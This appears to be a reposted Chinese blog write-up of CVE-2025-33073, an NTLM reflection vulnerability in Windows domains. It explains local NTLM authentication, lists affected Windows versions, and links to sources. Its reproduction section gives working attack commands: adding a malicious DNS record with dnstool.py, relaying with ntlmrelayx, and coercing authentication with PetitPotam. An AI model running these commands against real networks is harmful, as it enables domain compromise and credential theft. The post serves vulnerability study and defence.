CVE-2025-33073
本地 NTLM 身份验证
NTLM 本地身份验证是 NTLM 身份验证的一种特殊情况正常 NTLM 认证是三个阶段
-
NEGOTIATE
-
CHALLENGE
-
AUTHENTICATE,
如果客户端和服务器被判定为“本地调用”,服务器在 CHALLENGE 阶段就指示客户端无需计算 NTLM 响应,而是直接将 当前令牌(如 SYSTEM)传给服务器使用。
关键标志位是:NTLMSSP_NEGOTIATE_LOCAL_CALL (0x4000)
被放在 NTLM_CHALLENGE 消息中,提示客户端走本地身份验证流程。
当服务器判断“你连的是本地机器”时,它会启用一个特殊机制来省略加密计算,直接共享进程令牌,流程变为:
-
客户端发送 NEGOTIATE
➜ 包含工作站名和域名,服务器一看:咦?你是我自己!
-
服务器返回 CHALLENGE
设置
NTLMSSP_NEGOTIATE_LOCAL_CALL
附带一个“上下文 ID”,用来代表我在本机 lsass 进程中建了一个 context。
-
客户端一看是本地调用
它就不计算 NTLM 响应,而是:
把自己当前的 Token(例如 SYSTEM)加入服务器那个上下文中
-
客户端发回 AUTHENTICATE(几乎是空的!)
➜ 不包含加密回应,只带一个 ID,告诉服务器:我已经把 Token 放到你那儿了。
-
服务器拿着 Token 开始模拟进行操作
漏洞复现
IP | 系统 | 说明 |
---|---|---|
10.211.55.8 | kali | 攻击机 |
10.211.55.33(srv.redteam.com) | Win2016 | 目标机器 |
10.211.55.34 (dc.redteam.com) | Win2016 | DNS、DC机器 |
添加恶意dns解析
python3 dnstool.py -u 'redteamjohn' -p 'user@123' 10.211.55.33 -a add -r srv1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 10.211.55.8
监听请求
impacket-ntlmrelayx-tsrv.redteam.com-smb2support
触发强制连接
python3 PetitPotam.py -u john -p 'user@123' -d redteam.com srv1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA srv.redteam.com
成功触发获取hash
漏洞影响范围
操作系统/版本 | 是否受影响 | 说明 |
---|---|---|
Windows 11(22H2、23H2、24H2) | ❌ 没有 | 默认情况下得到缓解;MS-EFSRPC 得到强化并且 NTLM 的使用受到限制。 |
Windows Server 2025(预览版) | ❌ 没有 | 最新版本默认已阻止强制执行。 |
Windows Server 2022 | ❌ 没有 | 发布前已修补;默认情况下缓解 MS-EFSRPC。 |
Windows 服务器 2019 | ✅ 是的 | 除非完全修补并配置 NTLM 限制,否则仍然有效。 |
Windows 服务器 2016 | ✅ 是的 | MS-EFSRPC 接口仍然可用;默认允许 NTLM。 |
Windows Server 2012 R2 | ✅ 是的 | 强制开箱即用;需要手动强化。 |
Windows Server 2008 R2 | ✅ 是的 | 如果未修补则完全容易受到攻击;没有默认缓解措施。 |
Windows 10(最高至 21H2) | ✅ 是的 | 除非修补,否则容易受到攻击;如果启用了 NTLM,EFSRPC 强制就会起作用。 |
参考连接
https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025
https://github.com/mverschu/CVE-2025-33073
原文始发于微信公众号(想要暴富的安服仔):域大杀器 CVE-2025-33073 NTLM反射
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论